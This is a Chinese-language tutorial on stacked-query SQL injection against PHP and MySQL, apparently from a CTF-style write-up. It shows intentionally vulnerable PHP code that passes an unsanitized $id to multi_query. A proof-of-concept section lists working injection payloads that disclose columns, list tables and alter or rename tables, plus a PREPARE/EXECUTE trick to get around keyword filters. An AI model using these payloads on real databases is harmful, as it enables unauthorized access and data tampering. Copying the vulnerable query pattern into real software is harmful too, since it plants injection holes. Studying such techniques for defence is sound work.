堆叠查询
在SQL中,分号表示已到达语句的结尾,后面的内容是新的。这允许在对数据库服务器的同一调用中执行多个语句。与仅限于SELECT语句的UNION攻击相反,堆叠查询可用于执行任何SQL语句或过程。使用此技术的经典攻击可能如下所示。(来自于)
1 2 3 4
| Stacked query support. MySQL/PHP - Not supported (supported by MySQL for other API). SQL Server/Any API - Supported. Oracle/Any API - Not supported.
|
堆叠注入(PHP+MYSQL)
当过滤了select|update|delete|drop|insert|where|.|时,又想获取当前数据库其他表字段值时就要想到堆叠注入啦。😏😏😏
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $mysqli = new mysqli("localhost","root","root","supersql","8889"); $sql = "select * from `table1` where id = '$id';"; if ($mysqli->multi_query($sql)){ do{ if ($rs = $mysqli->store_result()){ while ($row = $rs->fetch_row()){ var_dump($row); echo "<br>"; } $rs->Close(); if ($mysqli->more_results()){ echo "<hr>"; } } }while($mysqli->next_result()); } $mysqli->close();
|
POC:
1 2 3 4 5 6 7 8 9 10 11
| 爆字段当前数据库表字段的方法: and Polygon(id) --+ procedure analyse()--+ and linestring(id)--+ 方法一: $id = 1';show tables from supersql;%23 //获取数据库中当前的所有表名 $id = 1';show create table xxx; $id = 1';alter table `table1` add(id int default 1);alter table table2 rename a;alter `table1` rename table2;%23. //给table1 添加id字段,修改表名。 方法二: 使用prepare语句使用 $id= 1'; set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;
|